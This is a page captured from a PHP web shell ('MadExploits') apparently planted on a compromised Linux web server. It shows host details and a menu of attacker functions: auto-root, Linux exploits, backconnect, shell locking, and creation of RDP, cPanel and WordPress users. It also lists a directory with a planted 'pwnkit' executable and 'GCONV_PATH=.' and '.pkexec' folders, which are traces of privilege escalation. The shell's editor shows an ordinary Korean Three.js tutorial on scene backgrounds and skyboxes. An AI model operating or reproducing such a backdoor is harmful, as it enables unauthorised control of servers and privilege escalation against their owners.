Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 3.12.107.129
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
HRD-Test /
manual /
ko /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
resources
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
align-html-elements-to-3d.html
34.71
KB
-rw-r--r--
backgrounds.html
14.09
KB
-rw-r--r--
billboards.html
16.08
KB
-rw-r--r--
cameras.html
30.68
KB
-rw-r--r--
canvas-textures.html
18.89
KB
-rw-r--r--
cleanup.html
18.02
KB
-rw-r--r--
custom-buffergeometry.html
23.81
KB
-rw-r--r--
debugging-glsl.html
7.45
KB
-rw-r--r--
debugging-javascript.html
31.93
KB
-rw-r--r--
fog.html
14.89
KB
-rw-r--r--
fundamentals.html
31.61
KB
-rw-r--r--
game.html
91.06
KB
-rw-r--r--
indexed-textures.html
31.35
KB
-rw-r--r--
lang.css
589
B
-rw-r--r--
lights.html
30.72
KB
-rw-r--r--
load-gltf.html
35.02
KB
-rw-r--r--
load-obj.html
37.24
KB
-rw-r--r--
material-table.html
1.86
KB
-rw-r--r--
materials.html
21.47
KB
-rw-r--r--
multiple-scenes.html
29.43
KB
-rw-r--r--
offscreencanvas.html
49.49
KB
-rw-r--r--
optimize-lots-of-objects-anima...
23.92
KB
-rw-r--r--
optimize-lots-of-objects.html
27.17
KB
-rw-r--r--
picking.html
22.34
KB
-rw-r--r--
post-processing-3dlut.html
27.84
KB
-rw-r--r--
post-processing.html
17.92
KB
-rw-r--r--
prerequisites.html
23.54
KB
-rw-r--r--
primitives.html
25.21
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
rendering-on-demand.html
12.77
KB
-rw-r--r--
rendertargets.html
8.71
KB
-rw-r--r--
responsive.html
16.99
KB
-rw-r--r--
scenegraph.html
31.44
KB
-rw-r--r--
setup.html
5.14
KB
-rw-r--r--
shadertoy.html
25.15
KB
-rw-r--r--
shadows.html
29.24
KB
-rw-r--r--
textures.html
35.63
KB
-rw-r--r--
tips.html
17.83
KB
-rw-r--r--
transparency.html
19.85
KB
-rw-r--r--
voxel-geometry.html
45.92
KB
-rw-r--r--
webxr-basics.html
21.66
KB
-rw-r--r--
webxr-look-to-select.html
22.26
KB
-rw-r--r--
webxr-point-to-select.html
17.58
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : backgrounds.html
<!DOCTYPE html><html lang="ko"><head> <meta charset="utf-8"> <title>배경과 하늘 상자</title> <meta name="viewport" content="width=device-width, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0"> <meta name="twitter:card" content="summary_large_image"> <meta name="twitter:site" content="@threejs"> <meta name="twitter:title" content="Three.js – 배경과 하늘 상자"> <meta property="og:image" content="https://threejs.org/files/share.png"> <link rel="shortcut icon" href="../../files/favicon_white.ico" media="(prefers-color-scheme: dark)"> <link rel="shortcut icon" href="../../files/favicon.ico" media="(prefers-color-scheme: light)"> <link rel="stylesheet" href="../resources/lesson.css"> <link rel="stylesheet" href="../resources/lang.css"> <!-- Import maps polyfill --> <!-- Remove this when import maps will be widely supported --> <script async src="https://unpkg.com/es-module-shims@1.8.0/dist/es-module-shims.js"></script> <script type="importmap"> { "imports": { "three": "../../build/three.module.js" } } </script> <link rel="stylesheet" href="/manual/ko/lang.css"> </head> <body> <div class="container"> <div class="lesson-title"> <h1>배경과 하늘 상자</h1> </div> <div class="lesson"> <div class="lesson-main"> <p>이 시리즈의 예제 대부분은 단색 배경을 사용했습니다.</p> <p>Three.js에서 단순한 배경을 넣는 건 CSS만큼이나 쉽습니다. <a href="responsive.html">반응형 디자인에 관한 글</a>의 예제에서 2가지만 바꿔주면 되죠.</p> <p>먼저 CSS로 canvas에 배경을 추가합니다.</p> <pre class="prettyprint showlinemods notranslate lang-html" translate="no"><style> body { margin: 0; } #c { width: 100%; height: 100%; display: block; + background: url(resources/images/daikanyama.jpg) no-repeat center center; + background-size: cover; } </style> </pre> <p>그리고 <a href="/docs/#api/ko/renderers/WebGLRenderer"><code class="notranslate" translate="no">WebGLRenderer</code></a>에 <code class="notranslate" translate="no">alpha</code> 옵션을 켜 아무것도 없는 공간은 투명하게 보이도록 설정합니다.</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">function main() { const canvas = document.querySelector('#c'); - const renderer = new THREE.WebGLRenderer({antialias: true, canvas}); + const renderer = new THREE.WebGLRenderer({ + antialias: true, + canvas, + alpha: true, + }); </pre> <p>간단하지 않나요?</p> <p></p><div translate="no" class="threejs_example_container notranslate"> <div><iframe class="threejs_example notranslate" translate="no" style=" " src="/manual/examples/resources/editor.html?url=/manual/examples/background-css.html"></iframe></div> <a class="threejs_center" href="/manual/examples/background-css.html" target="_blank">새 탭에서 보기</a> </div> <p></p> <p>배경이 <a href="post-processing.html">후처리 효과</a>의 영향을 받게 하려면 Three.js로 배경을 렌더링해야 합니다.</p> <p>간단히 장면의 배경에 텍스처를 입혀주기만 하면 되죠.</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">const loader = new THREE.TextureLoader(); const bgTexture = loader.load('resources/images/daikanyama.jpg'); bgTexture.colorSpace = THREE.SRGBColorSpace; scene.background = bgTexture; </pre> <p></p><div translate="no" class="threejs_example_container notranslate"> <div><iframe class="threejs_example notranslate" translate="no" style=" " src="/manual/examples/resources/editor.html?url=/manual/examples/background-scene-background.html"></iframe></div> <a class="threejs_center" href="/manual/examples/background-scene-background.html" target="_blank">새 탭에서 보기</a> </div> <p></p> <p>배경이 지정되긴 했지만, 화면에 맞춰 늘어났네요.</p> <p>이미지의 일부만 보이도록 <code class="notranslate" translate="no">repeat</code>과 <code class="notranslate" translate="no">offset</code> 속성을 조정해 문제를 해결해봅시다.</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">function render(time) { ... + /** + * 배경 텍스처의 repeat과 offset 속성을 조정해 이미지의 비율이 깨지지 + * 않도록 합니다. + * 이미지를 불러오는 데 시간이 걸릴 수 있으니 감안해야 합니다. + **/ + const canvasAspect = canvas.clientWidth / canvas.clientHeight; + const imageAspect = bgTexture.image ? bgTexture.image.width / bgTexture.image.height : 1; + const aspect = imageAspect / canvasAspect; + + bgTexture.offset.x = aspect > 1 ? (1 - 1 / aspect) / 2 : 0; + bgTexture.repeat.x = aspect > 1 ? 1 / aspect : 1; + + bgTexture.offset.y = aspect > 1 ? 0 : (1 - aspect) / 2; + bgTexture.repeat.y = aspect > 1 ? 1 : aspect; ... renderer.render(scene, camera); requestAnimationFrame(render); } </pre> <p>이제 Three.js가 배경을 렌더링합니다. 그냥 보기에 CSS와 큰 차이는 없지만, <a href="post-processing.html">후처리 효과</a>의 영향을 받는다는 점이 다릅니다.</p> <p></p><div translate="no" class="threejs_example_container notranslate"> <div><iframe class="threejs_example notranslate" translate="no" style=" " src="/manual/examples/resources/editor.html?url=/manual/examples/background-scene-background-fixed-aspect.html"></iframe></div> <a class="threejs_center" href="/manual/examples/background-scene-background-fixed-aspect.html" target="_blank">새 탭에서 보기</a> </div> <p></p> <p>물론 3D 장면을 만들 때 단순한 배경을 자주 사용하진 않습니다. 대신 주로 일종의 <em>하늘 상자(skybox)</em>를 사용하죠. 하늘 상자란 말 그대로 하늘을 그려놓은 상자로써, 상자 안에 카메라를 놓으면 마치 배경에 하늘이 있는 것처럼 보이는 효과를 줍니다.</p> <p>일반적으로 육면체에 텍스처를 입히고 안쪽을 렌더링하도록 설정해 하늘 상자를 구현합니다. 각 면에 수평선처럼 보이는 이미지를 텍스처로 배치하는 거죠(텍스처 좌표를 이용해). 하늘 구체(sky sphere)나 하늘 돔(sky dom)도 자주 사용하는 방식입니다. 다시 말해 육면체나 구체를 만들고, <a href="textures.html">텍스처를 입힌</a> 뒤, 바깥 면이 아닌 안쪽 면을 렌더링하도록 <code class="notranslate" translate="no">THREE.BackSide</code> 값을 넣어주면 됩니다. 그리고 바로 장면(scene)에 추가하거나, 하늘 상자/구체/돔을 담당할 장면 하나, 다른 요소를 담당할 장면 하나 이렇게 총 2개를 만들 수도 있죠. <a href="/docs/#api/ko/cameras/OrthographicCamera"><code class="notranslate" translate="no">OrthographicCamera</code></a>를 쓸 필요는 없으니 <a href="/docs/#api/ko/cameras/PerspectiveCamera"><code class="notranslate" translate="no">PerspectiveCamera</code></a>를 그대로 사용하면 됩니다.</p> <p>다른 방법 중 하나는 <em>큐브맵(Cubemap)</em>입니다. 큐브맵은 정육면체의 한 면 당 하나, 총 6개의 면을 가진 텍스처로, 텍스처 좌표 대신 중앙에서 바깥쪽을 가리키는 방향으로 색상값을 결정합니다.</p> <p>아래 6개의 이미지는 캘리포니아 마운틴 뷰에 있는 컴퓨터 역사 박물관에서 찍은 사진입니다.</p> <div class="threejs_center"> <img src="../examples/resources/images/cubemaps/computer-history-museum/pos-x.jpg" style="width: 200px" class="border"> <img src="../examples/resources/images/cubemaps/computer-history-museum/neg-x.jpg" style="width: 200px" class="border"> <img src="../examples/resources/images/cubemaps/computer-history-museum/pos-y.jpg" style="width: 200px" class="border"> </div> <div class="threejs_center"> <img src="../examples/resources/images/cubemaps/computer-history-museum/neg-y.jpg" style="width: 200px" class="border"> <img src="../examples/resources/images/cubemaps/computer-history-museum/pos-z.jpg" style="width: 200px" class="border"> <img src="../examples/resources/images/cubemaps/computer-history-museum/neg-z.jpg" style="width: 200px" class="border"> </div> <p>이들을 <a href="/docs/#api/ko/loaders/CubeTextureLoader"><code class="notranslate" translate="no">CubeTextureLoader</code></a>로 불러와 장면의 배경으로 설정합니다.</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">{ const loader = new THREE.CubeTextureLoader(); const texture = loader.load([ 'resources/images/cubemaps/computer-history-museum/pos-x.jpg', 'resources/images/cubemaps/computer-history-museum/neg-x.jpg', 'resources/images/cubemaps/computer-history-museum/pos-y.jpg', 'resources/images/cubemaps/computer-history-museum/neg-y.jpg', 'resources/images/cubemaps/computer-history-museum/pos-z.jpg', 'resources/images/cubemaps/computer-history-museum/neg-z.jpg', ]); scene.background = texture; } </pre> <p>이 텍스처는 별도 조정이 필요 없으니 위에서 작성했던 코드를 삭제합니다.</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">function render(time) { ... - /** - * 배경 텍스처의 repeat과 offset 속성을 조정해 이미지의 비율이 깨지지 - * 않도록 합니다. - * 이미지를 불러오는 데 시간이 걸릴 수 있으니 감안해야 합니다. - **/ - const canvasAspect = canvas.clientWidth / canvas.clientHeight; - const imageAspect = bgTexture.image ? bgTexture.image.width / bgTexture.image.height : 1; - const aspect = imageAspect / canvasAspect; - - bgTexture.offset.x = aspect > 1 ? (1 - 1 / aspect) / 2 : 0; - bgTexture.repeat.x = aspect > 1 ? 1 / aspect : 1; - - bgTexture.offset.y = aspect > 1 ? 0 : (1 - aspect) / 2; - bgTexture.repeat.y = aspect > 1 ? 1 : aspect; ... renderer.render(scene, camera); requestAnimationFrame(render); } </pre> <p>카메라도 조작이 가능하도록 만듭니다.</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">import { OrbitControls } from 'three/addons/controls/OrbitControls.js'; </pre> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">const fov = 75; const aspect = 2; // canvas 기본값 const near = 0.1; -const far = 5; +const far = 100; const camera = new THREE.PerspectiveCamera(fov, aspect, near, far); -camera.position.z = 2; +camera.position.z = 3; +const controls = new OrbitControls(camera, canvas); +controls.target.set(0, 0, 0); +controls.update(); </pre> <p>예제를 드래그하면 큐브맵이 주위를 둘러싼 게 보일 겁니다.</p> <p></p><div translate="no" class="threejs_example_container notranslate"> <div><iframe class="threejs_example notranslate" translate="no" style=" " src="/manual/examples/resources/editor.html?url=/manual/examples/background-cubemap.html"></iframe></div> <a class="threejs_center" href="/manual/examples/background-cubemap.html" target="_blank">새 탭에서 보기</a> </div> <p></p> <p>다른 방법은 등장방형도법(Equirectangular map)을 이용하는 겁니다. 이런 사진은 주로 <a href="https://google.com/search?q=360+camera">360도 카메라</a>로 촬영합니다.</p> <p><a href="https://hdrihaven.com/hdri/?h=tears_of_steel_bridge">다음 사진</a>은 <a href="https://hdrihaven.com">이 사이트</a>에서 가져온 사진입니다.</p> <div class="threejs_center"><img src="../examples/resources/images/equirectangularmaps/tears_of_steel_bridge_2k.jpg" style="width: 600px"></div> <p>등장방형도법의 사용법은 별로 다르지 않습니다. 먼저 등장방형도법 이미지를 텍스처로 불러온 뒤, 콜백에서 불러온 이미지 텍스처를 <a href="/docs/#api/ko/renderers/WebGLCubeRenderTarget.fromEquirectangularTexture"><code class="notranslate" translate="no">WebGLCubeRenderTarget.fromEquirectangularTexture</code></a>를 호출할 때 넘겨주면 큐브맵(정육면체를 펼친 모양의 텍스처)를 만들 수 있습니다. <a href="/docs/#api/ko/renderers/WebGLCubeRenderTarget"><code class="notranslate" translate="no">WebGLCubeRenderTarget</code></a>을 생성할 때 큐브맵의 크기를 지정해주기만 하면 되죠. 예제의 경우 등장방형도법 이미지의 높이를 넘겨주면 될 겁니다.</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">{ - const loader = new THREE.CubeTextureLoader(); - const texture = loader.load([ - 'resources/images/cubemaps/computer-history-museum/pos-x.jpg', - 'resources/images/cubemaps/computer-history-museum/neg-x.jpg', - 'resources/images/cubemaps/computer-history-museum/pos-y.jpg', - 'resources/images/cubemaps/computer-history-museum/neg-y.jpg', - 'resources/images/cubemaps/computer-history-museum/pos-z.jpg', - 'resources/images/cubemaps/computer-history-museum/neg-z.jpg', - ]); - scene.background = texture; + const loader = new THREE.TextureLoader(); + const texture = loader.load( + 'resources/images/equirectangularmaps/tears_of_steel_bridge_2k.jpg', + () => { + texture.mapping = THREE.EquirectangularReflectionMapping; + texture.colorSpace = THREE.SRGBColorSpace; + scene.background = texture; + }); } </pre> <p>어렵지 않게 등장방형도법 텍스처를 구현했습니다.</p> <p></p><div translate="no" class="threejs_example_container notranslate"> <div><iframe class="threejs_example notranslate" translate="no" style=" " src="/manual/examples/resources/editor.html?url=/manual/examples/background-equirectangularmap.html"></iframe></div> <a class="threejs_center" href="/manual/examples/background-equirectangularmap.html" target="_blank">새 탭에서 보기</a> </div> <p></p> <p>등장방형도법은 복잡한 쉐이더를 사용하기에 큐브맵보다 성능이 떨어집니다. 다행히 등장방형도법 이미지를 큐브맵으로 바꾸는 건 그다지 어려운 일이 아니죠. <a href="https://matheowis.github.io/HDRI-to-CubeMap/">이 사이트를 이용</a>하면 쉽게 이미지를 변경할 수 있을 겁니다.</p> </div> </div> </div> <script src="../resources/prettify.js"></script> <script src="../resources/lesson.js"></script> </body></html>
Close